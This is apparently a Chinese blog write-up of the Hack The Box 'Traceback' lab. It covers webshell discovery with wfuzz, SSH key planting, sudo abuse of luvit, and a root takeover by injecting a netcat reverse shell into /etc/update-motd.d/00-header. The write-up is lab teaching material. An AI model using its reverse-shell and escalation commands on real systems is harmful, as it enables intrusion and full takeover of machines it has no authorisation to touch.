美文网首页
Hack The Box - Traceback

Hack The Box - Traceback

作者: 半夜菊花茶 | 来源:发表于2020-05-28 20:21 被阅读0次

    概述

    目标靶机是一台Linux机器,部署了一个网站,但是网站被人日了,黑客留下了一些线索和工具在服务上,我们需要利用这些线索和工具拿到root和flag。先通过社工找到黑客的信息,从他的github上找到一些webshell的线索,然后用wfuzz找到黑客传到目标站点的webshell,利用webshell可以拿到webadmin账号权限,然后通过主机上的线索找到一个执行lua脚本提升权限的通道进而获取到另一个高权限的账号sysadmin,再通过pspy监控发现本地有一些使用特权执行的定时任务脚本,修改脚本执行反弹shell获取到root权限。

    信息收集

    root@vultr:~/htb# nmap -sV -sC 10.10.10.181
    Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-28 08:06 UTC
    Nmap scan report for 10.10.10.181
    Host is up (0.076s latency).
    Not shown: 984 closed ports
    PORT      STATE    SERVICE        VERSION
    22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
    |   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
    |_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
    80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Help us
    416/tcp   filtered silverplatter
    1011/tcp  filtered unknown
    1130/tcp  filtered casp
    1521/tcp  filtered oracle
    2119/tcp  filtered gsigatekeeper
    3476/tcp  filtered nppmp
    4900/tcp  filtered hfcs
    5440/tcp  filtered unknown
    5903/tcp  filtered vnc-3
    6580/tcp  filtered parsec-master
    7741/tcp  filtered scriptview
    8292/tcp  filtered blp3
    32773/tcp filtered sometimes-rpc9
    52869/tcp filtered unknown
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds
    

    用浏览器访问目标网站,发现页面已经被人日了,从页面留下的信息看Xh4H可能是黑客的名字(目标网站是80段,我本地做了映射)

    web.png
    google这个名字找到了对方的github账号,里面有一个工程Web-Shells。根据目标网站的提示,说黑客留了一些后门在这里,索性把这个工程下的webshell名字作为字典尝试爆破目录
    root@vultr:~/htb# cat fuzz.txt
    alfa3.php
    alfav3.0.1.php
    andela.php
    bloodsecv4.php
    by.php
    c99ud.php
    cmd.php
    configkillerionkros.php
    jspshell.jsp
    mini.php
    obfuscated-punknopass.php
    punk-nopass.php
    punkholic.php
    r57.php
    smevk.php
    wso2.8.5.php
    

    爆破

    使用wfuzz爆破目录,果然找到对方使用的webshell文件smevk.php

    root@vultr:~/htb# wfuzz -w ./fuzz.txt -u http://10.10.10.181/FUZZ --hc 404,403
    
    Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
    
    ********************************************************
    * Wfuzz 2.3.4 - The Web Fuzzer                         *
    ********************************************************
    
    Target: http://10.10.10.181/FUZZ
    Total requests: 17
    
    ==================================================================
    ID   Response   Lines      Word         Chars          Payload
    ==================================================================
    
    000017:  C=200     44 L      151 W         1113 Ch        ""
    000015:  C=200     58 L      100 W         1261 Ch        "smevk.php"
    
    Total time: 0.241917
    Processed Requests: 17
    Filtered Requests: 15
    Requests/sec.: 70.27192
    

    用浏览器访问之,发现是一个功能很全面的webshell,查看发现当前用户是webadmin,为了保证连接的稳定性,我们在/home/webadmin/.ssh下面放一个公钥,本机利用私钥登录

    webshell
    先在本机生成公私钥对
    root@vultr:~# ssh-keygen -t rsa
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa):
    Enter passphrase (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in /root/.ssh/id_rsa.
    Your public key has been saved in /root/.ssh/id_rsa.pub.
    The key fingerprint is:
    SHA256:2YE9x2+Eyr/bU1JkYYAbvgxxVvScvIBB1kV0qBUnWR0 root@vultr.guest
    The key's randomart image is:
    +---[RSA 2048]----+
    |          .+=+BEB|
    |         +.*ooOo*|
    |        . O.*+.B |
    |         = B.o. o|
    |        S * . oo |
    |           + .. .|
    |            .  o |
    |             o.  |
    |            o... |
    +----[SHA256]-----+
    root@vultr:~# ls -l /root/.ssh/
    total 12
    -rw------- 1 root root 1823 May 28 08:39 id_rsa
    -rw-r--r-- 1 root root  398 May 28 08:39 id_rsa.pub
    -rw-r--r-- 1 root root  666 May 28 03:03 known_hosts
    

    把公钥的文件的内容copy出来,保存成文件authorized_keys,然后利用webshall直接上传至/home/webadmin/.ssh,接下来就可以直接用私钥+ssh登录了。
    在家目录下找到一些线索,note.txt提到了lua,然后我们在.bash_history找到了一些操作记录,看起来是要使用/home/sysadmin/luvit执行privesc.lua脚本,但是经过一通查找,却并没有找到这两个文件的位置,并且webadmin账号没有权限读取sysadmin下面的文件

    #################################
    -------- OWNED BY XH4H  ---------
    - I guess stuff could have been configured better ^^ -
    #################################
    
    Welcome to Xh4H land
    
    
    
    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    
    Last login: Thu May 28 01:48:57 2020 from 10.10.14.101
    webadmin@traceback:~$ whoami
    webadmin
    webadmin@traceback:~$
    webadmin@traceback:~$ cat note.txt
    - sysadmin -
    I have left a tool to practice Lua.
    I'm sure you know where to find it.
    Contact me if you have any question.
    webadmin@traceback:~$ cat .bash_history
    ls -la
    sudo -l
    nano privesc.lua
    sudo -u sysadmin /home/sysadmin/luvit privesc.lua
    rm privesc.lua
    logout
    

    提权

    使用sudo -l查看发现,我们要找的问题件可以无密码读取,正好这个时候不知道哪位老哥在家目录下创建了一个lua文件获取bash,内容就一句话os.execute("/bin/bash")
    根据前面获得的提示,执行 sudo -u sysadmin /home/sysadmin/luvit script.lua可以直接切到sysadmin的bash,移动到sysadmin的家目录可以获取到user.txt

    webadmin@traceback:~$ sudo -l
    Matching Defaults entries for webadmin on traceback:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User webadmin may run the following commands on traceback:
        (sysadmin) NOPASSWD: /home/sysadmin/luvit
    webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit  script.lua
    sysadmin@traceback:~$ whoami
    sysadmin
    sysadmin@traceback:~$ cd ../sysadmin
    sysadmin@traceback:/home/sysadmin$ ls -la
    total 4336
    drwxr-x--- 5 sysadmin sysadmin    4096 Mar 16 03:53 .
    drwxr-xr-x 4 root     root        4096 Aug 25  2019 ..
    -rw------- 1 sysadmin sysadmin       1 Aug 25  2019 .bash_history
    -rw-r--r-- 1 sysadmin sysadmin     220 Apr  4  2018 .bash_logout
    -rw-r--r-- 1 sysadmin sysadmin    3771 Apr  4  2018 .bashrc
    drwx------ 2 sysadmin sysadmin    4096 Aug 25  2019 .cache
    drwxrwxr-x 3 sysadmin sysadmin    4096 Aug 24  2019 .local
    -rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24  2019 luvit
    -rw-r--r-- 1 sysadmin sysadmin     807 Apr  4  2018 .profile
    drwxr-xr-x 2 root     root        4096 Aug 25  2019 .ssh
    -rw------- 1 sysadmin sysadmin      33 May 28 01:33 user.txt
    sysadmin@traceback:/home/sysadmin$
    
    

    接下来要尝试获取root权限,这里用到pspy监视进程,这个工具可以在普通用户权限下观察到其他用户执行的命令
    观察一会发现,目标机器每30秒会执行一个cp命令,把一些文件从backup目录复制到/etc/update-motd.d/

    /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
    
    image.png
    移动到这个目录下,发现000-header里面的内容正好就是ssh登录的时候显示的信息,并且从pspy监控的信息看来,当用ssh登录的时候这里会自动执行sh -c uname -a; w; id; /bin/sh -i正好与这个脚本吻合,可以在后面加一行id来验证
    sysadmin@traceback:~$ cd /etc/update-motd.d/
    sysadmin@traceback:/etc/update-motd.d$ cat 00-header
    #!/bin/sh
    #
    #    00-header - create the header of the MOTD
    #    Copyright (C) 2009-2010 Canonical Ltd.
    #
    #    Authors: Dustin Kirkland <kirkland@canonical.com>
    #
    #    This program is free software; you can redistribute it and/or modify
    #    it under the terms of the GNU General Public License as published by
    #    the Free Software Foundation; either version 2 of the License, or
    #    (at your option) any later version.
    #
    #    This program is distributed in the hope that it will be useful,
    #    but WITHOUT ANY WARRANTY; without even the implied warranty of
    #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    #    GNU General Public License for more details.
    #
    #    You should have received a copy of the GNU General Public License along
    #    with this program; if not, write to the Free Software Foundation, Inc.,
    #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
    
    [ -r /etc/lsb-release ] && . /etc/lsb-release
    
    
    echo "\nWelcome to Xh4H land \n"
    id
    
    image.png

    最后,我们可以确定ssh登录时候会触发用root执行这个脚本,所以我们在这里加一个nc的反弹shell,在00-header里面添加rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.94 8888 >/tmp/f

    同时在本机开启监听nc -lvp 8888,获取到root的反弹shell

    image.png

    相关文章

      网友评论

          本文标题:Hack The Box - Traceback

          本文链接:https://www.haomeiwen.com/subject/jdjaahtx.html